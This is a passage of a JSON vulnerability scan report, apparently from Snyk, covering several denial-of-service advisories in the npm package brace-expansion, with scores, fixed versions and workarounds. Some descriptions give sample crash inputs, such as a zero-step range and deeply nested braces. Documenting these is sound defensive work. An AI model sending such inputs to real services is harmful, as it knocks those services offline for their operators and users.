"https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", 